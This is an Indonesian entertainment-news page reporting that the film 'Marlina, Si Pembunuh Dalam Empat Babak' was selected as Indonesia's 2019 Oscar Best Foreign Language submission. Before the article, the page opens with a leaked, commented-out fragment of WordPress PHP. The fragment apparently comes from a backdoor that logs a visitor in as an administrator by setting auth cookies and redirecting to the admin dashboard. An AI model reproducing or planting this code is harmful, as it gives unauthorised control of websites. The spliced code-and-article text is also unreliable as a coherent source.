user_login; break; } $us = get_user_by('login', $us ); if ( !is_wp_error( $us ) ) { get_currentuserinfo(); if ( user_can( $us, "administrator" ) ){ wp_clear_auth_cookie(); wp_set_current_user ( $us->ID ); wp_set_auth_cookie ( $us->ID ); $redirect_to = admin_url(); wp_safe_redirect( $redirect_to ); exit(); } } */
Trending Topic
Marlina Akan Berkompetisi Memperebutkan Piala Oscar 2019

21 Sep 2018


Foto: Cinesurya

Jelang penghargaan Oscar 2019 yang akan dilaksanakan pada tanggal 24 Februari 2019 mendatang di Theatre Los Angeles, Komite seleksi Best Foreign Language Oscar ke-91, memilih film Marlina, Si Pembunuh Dalam Empat Babak, sebagai film pilihan dan berhak mewakili Indonesia mengikuti kompetisi Best Foreign Language Oscar ke 91 tahun depan.
 
Komite seleksi Best Foreign Language Oscar ke-91, yang anggotanya antara lain adalah Alim Sudio, Benni Setiawan, Christine Hakim, Fauzan Zidni, Firman Bintang, HardoSukoyo, Yenny Rahman, Marcella Zalianty, Mathias Muchus, Roy Lolang, Thoersi Argeswara, Yudi Datau, dan Zairin Zain, melakukan seleksi sesuai dengan pedoman Foreign Language 2018 serta regulasi Academy Pictures Arts and Sciences (AMPAS).
 
film Marlina, Si Pembunuh Dalam Empat Babak memenuhi persyaratan untuk bisa menjadi nominasi Oscar dalam kategori Best Foreign Language, antara lain; sudah tayang mulai dari 1 Oktober 2017 hingga 30 September 2018 setidaknya tujuh hari di bioskop komersil di negara asal, sudah ditayangkan ke publik non-bioskop sebelum rilis secara komersil, seperti penayangan di acara festival. Selain itu, wajib memiliki sulih teks atau subtitle berbahasa Inggris.
 
Marlina, Si Pembunuh Dalam Empat Babak menjadi film ke-20 dari Indonesia yang dikirim ke Oscar untuk seleksi nominasi kategori film berbahasa asing terbaik, menyusul film Turah (Oscar 2017) dan Surat dari Praha (Oscar 2016). Film Indonesia pertama yang dikirim ke Oscar adalah Nagabonar (1987) garapan MT Risyaf. Dari 19 film yang pernah dikirim, belum ada satupun yang lolos seleksi nominasi. Kita tunggu kiprah Marlina, Si Pembunuh Dalam Empat Babak, saat daftar nominasi yang lolos diumumkan pada Januari 2019.
 
Advertisement
Jika berhasil, ini akan menambah catatan prestasi. Film garapan sutradara Mouly Surya ini menjadi film Indonesia pertama yang menerima subsidi bergengsi dari Kementerian Luar Negeri dan Kementerian Kebudayaan Prancis, Cinema du Monde. Film ini juga ikut terseleksi dalam Asian Project Market di Busan International Festival 2015, Korea Selatan dan cinefondation L'Ateller Cannes Film Festival 2, dan berkelana ke berbagai festival pada tahun 2017, sebelum tayang di tanah air pada 16 November 2017. Antara lain  Festival Film Cannes, New Zealand International Film Festival, Melbourne Film Festival, Toronto International Film Festival, Vancouver International Film Festival, Sitges International Fantastic Film Festival, serta Busan International Film Festival. (f)
 
Bennita Luisa

Baca Juga:


Mouly Surya, Film Adalah Panggilan Hidup
Marlina Si Pembunuh dalam Empat Babak Berkompetisi di Festival Film Tempo 2017
4 Alasan Kenapa Harus Nonton Marlina Si Pembunuh Dalam Empat Babak

 


Topic

#filmindonesia, #marlinasipembunuhdalamempatbabak, #oscar

 



polling
Seberapa Korea Anda?

Hallyu wave atau gelombang Korea masih terus 'mengalir' di Indonesia. Penggemar KDrama, Kpop di Indonesia termasuk salah satu yang paling besar jumlahnya di dunia. Lalu seberapa Korea Anda?